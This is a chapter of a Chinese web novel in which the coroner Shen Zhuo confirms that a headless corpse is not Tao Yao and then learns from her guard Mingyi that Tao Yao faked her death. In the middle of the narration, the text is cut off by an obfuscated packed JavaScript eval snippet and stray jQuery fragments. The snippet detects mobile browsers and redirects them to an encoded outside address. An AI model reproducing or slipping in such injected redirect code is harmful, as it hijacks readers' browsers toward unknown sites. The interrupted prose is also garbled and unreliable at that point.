沈卓接过王玄清递来的手套,细致摸过尸体的双手、断颈……
他的手停住了。
“如何?”谢令辰在旁急切地问。
“可是有发现?”
沈卓沉默了一会儿。
他尽力克制住翻腾汹涌的心绪,缓缓开口,声音里带着压抑的欣喜。
“这不是她。”
这是一具长约五尺七寸的女尸,尸体身形纤瘦,皮肤因大量失血而呈暗灰色。
“你确定?”
王玄清亦是暗暗松了一口气,表情随后恢复了往日轻松模样。
这丫头要是真出了事……
不是他要咒她,北魏使团那个使节对她穷追不舍。
若是利用她失踪这件事大做文章,对整个朝廷都是称得上是桩大麻烦。
哎……说到底都是因为陶大姑娘是个麻烦精。
那厢,对王玄清眼中的麻烦精很上心的沈卓正触摸着尸体的四肢。
他越来越笃定:“这具尸体的死亡时间至少有三日。而且,手上的皮肤纹理……与陶夭完全不同。这绝不是她。”
陶夭的手上根本没有茧,可以说是和他日常所见的那些妇人丫鬟们都大不一样——正如她所言,大户人家,从小姐到丫鬟,那都该是十指不沾阳春水才是。
而这具尸体的手,显然是个经常干活的妇人无疑了。
谢令辰和王玄清对视了一眼,皆露出“那就没事了”的释然表情。
道长甚至觉得,自己可以给这女尸来段解冤拔罪妙经超度一下。
然而,沈卓却没有感到丝毫的轻松。
确认尸体不是陶夭后,他心头涌上了更多的担忧。
“她一定是被卷入了什么麻烦事……”
这事还很严重……所以她是特意将自己支走的?
这事会和魏辰与北魏使团有关么?毕竟他作为使者,对陶夭,对自己的关注都远超过了寻常范围。
沈卓只觉自己脑袋嗡嗡作响,思绪却像乱麻,实难理清。
谢令辰见沈卓面色沉重,伸手拍了拍他的肩膀,安慰道:“这女尸不是陶娘子,说明她还活得好好的。”
“接下来,我们要做的,就是尽快找到她。”
王玄清也不愿让好容易找到的人就这么脱离自己的视线。
“……嗯。”
沈卓将白布小心翼翼地盖回尸体上,动作一丝不苟。
随后,他又取过一张空白的尸格单,开始记录。
指上伤口因过度用力而开裂,点点血迹滴在纸上,模糊了几行字迹。
谢令辰见状,一把夺过尸格单:“我来吧,你休息一会儿。”
沈卓迟疑了一下,还是松开了手。
“多谢。”
谢令辰笔走龙蛇。
待记录完成后,王玄清见这位谢大公子面露得色,便轻声提醒:“天快亮了,得尽快送沈兄回去,否则就露了马脚。”
谢令辰点头称是,将尸格单收好。
二人这便一左一右,扶着沈卓离开殓房。
夜色深沉,微弱的月光洒在衙前石阶上。
三人一路无言。
虽然确定了尸体不是陶夭,可离替沈卓伸冤好像还差了许多。
但……也不好就这么让沈卓越狱吧。
沈卓回到冰冷的牢房里,朝二人郑重道谢。
不知不觉中,他的朋友似乎变多了。
王玄清笑了笑:“何必言谢?先找到陶姑娘再说吧。”
谢令辰叹了一口气,转身替人锁上牢门:“沈兄,你保重。”
二人离去后,牢房里恢复了寂静。
沈卓背靠着冰冷的墙壁,于杂乱的稻草堆处坐下。
像是完全丧失了痛感一般,毫不在意自己隐隐渗血的指尖。
他闭上眼,试图让自己疲惫到极限的身心稍作休息——除了上刑之故,他已经一天一夜没合眼了。
黑暗中,理应声色皆无,四大皆空,然,沈卓的脑海中却不断浮现出陶夭的模样。
她活泼俏皮的笑容,她故作威严的模样,甚至还有那些不经意流露的小心机……
是那么可爱。
就像一束光,照进他的生命,照亮他的前路。
遇到他之前,尸骨是他的朋友,棺木是他的床榻。
尽管令人安心,但尸骨却从来不会像她这般绽放狡黠动人的笑容。
更多的时候,他们总是带着苦大仇深的秘密,等待他的发现。
沈卓只觉自己胸口染上阵阵酸涩。
“小陶,你可千万不要有事……”
周围是一片漆黑,牢房内散发着潮湿的霉味。
沈卓心头的不安像一张无形的网,将他裹得密不透风。
理智告诉他,赶紧入睡,养好身体,才是上上之选。
可前额与指尖传来的一阵阵抽痛却时刻折磨着人。
让他夜不能寐。
此时,忽有一阵细微的响动打破了死寂。
紧接着,是重物落地之声。
牢房的门轻轻开了一条缝,带来一丝凉风。
原是那锁已被轻而易举地击落在地。
“沈公子。”一个熟悉的声音从门边传来。
沈卓猛地睁开眼睛,瞳孔一缩。
是明夷。
沈卓顾不得手上伤口崩裂,急急撑着地面欲起身:“陶夭她人呢?”
若不是男女授受不亲,他真想冲上去好好质问她一番。
明夷从从容容地关上牢门,扫了一眼他微显憔悴的面容,不急不缓道:“别急,我们得谈谈。”
好像这大牢是她家开的那般旁若无人。
沈卓的目光紧紧盯着人,语气未免急切,听上去还有些冲:“我只问你,陶夭她现在还好么?”
他知陶夭素来聪明机警,也知她有时会玩些险棋,因此心里实在无法放下。
明夷叹口气,朝人摊摊手:“只要我还活着,就不可能让她遇到危险。”
可惜她家公主现在上蹿下跳的,说三句话两句不离沈卓。
要不是顾虑现下是这般情状,她真想打趣一句——公主,您也有今天呐!
沈卓不再追问。
明夷的忠心他都看在眼里,自是不必多言。
“可是她让你前来见我的?”
明夷只是努努嘴,却并不正面回答什么。
陶夭当然是装死的。
那具无头的尸体也是她让明夷从乱坟岗里挖出来的。
天知道明夷究竟不眠不休选了多久,才挑到一具符合自家那异想天开,鬼得冒泡的作精主子要求的。
这种尸体很是难得。
不能死太久,还不能和主子的身量差太多……
至于皮肤……
明夷身为易容高手,要动点手脚也不难。
只是她很珍惜那些材料,加之对自己技术的自信,手上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839677|164562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就没怎么涂。
她觉得,只要稍加装点,再加上陶夭那件极其惹眼的青色衣服,便足以达到混淆视听的效果。
只是明夷又如何能没料到,身陷囹圄,沈卓居然还能想办法验到尸体。
“你人缘是真的不错。”明夷感叹。
显然,方才王谢二人的行迹都被伏于远处,暗中观察的她看在眼底。
不说他二人,就连她家主子都放不下……
这人多少是有点能耐。
且陶夭一开始是打算给沈卓留封信的。
她也确实很认真地写了。
内容简短,是她一贯的风格,还带点调侃——
“夫君呀,你别难过啊,我且死不了呢,只是遇到点麻烦,我需要暂时消失一下。你要好好保重,等着我来找你啊~另外,别总皱眉,显老!”
因怕沈卓不同意自己的计划,她本是想着他在外地办案,自己死遁,这样沈卓拥有完美的不在场证明。
到时候自己再遣了明夷传个话也就是了。
“谁能料到,天有不测风云,你居然提前回来了。”
当然这和她一直挑选不到合适的尸体也有一定关联。
前几日,随着沈卓回来的日子越来越近,自家公主已经急眼了。
在她跟前跳脚,威胁扣薪俸已经好几次了。
明明出逃以来就没怎么发过钱,依然是理直气壮的一副欠扁德行。
沈卓盯着明夷,没有放过她的任何表情,也不打算放弃追问:“什么信?”
明夷耸耸肩,一副毫不在意的模样:“那封信我收走了。”
“……你为什么要这么做?”
沈卓眉头皱得更紧,语气中除了不解,还带点隐隐的怒意。
他虽然脾气好,但也不意味着能容忍对方开这人命关天的玩笑。
明夷只是低头轻笑,再抬头之际,目光里全是玩味:“沈公子,你觉得,你的娘子……陶夭她究竟是什么人?”
沈卓沉默了片刻:“她说过,她是大户人家的婢女。”
明夷挑眉:“所以呢,你相信么?”
她觉得他虽然是个平民,但也算不上愚蠢。
沈卓答得极为笃定:“她不说,我便不问。”
明夷摇摇头。
当真是害人不浅呐。
哎,自家公主虽然长得好,但一直是颗黑心汤团。
平日里极喜欢参加京城贵公子们举办的晚宴(主要原因是免费的),蹭着各种各样的新奇玩意儿。
她还喜欢黏人,时不时给那些贵族子弟们来几个暧昧眼神。
等人真的表现出好感,表示已拜倒在她的石榴裙下时,又会刻意将人耍弄一番,然后说是对方会错了意。
碍于公主身份,那些贵族儿郎能说什么,只能诚惶诚恐,恳求原谅——本来他们也不过是看上了皇家权势(主子语)。
这不最后就遭报应了。
“她比你想象中更有心机,也很善于利用局势。她不想让你知道她的具体计划,是为了保护你。”
明夷实在没能想到,自家这个黑心眼子主子真会看上老实人。
沈卓张了张口,脑中全是陶夭那张狡黠又带着几分赖皮的脸。
不能否认,她也许是时常有些过激行为。
“她是什么人都没关系……”
重要的是他也喜欢她。
因此,所有旁人看来的缺点,他都不觉有异。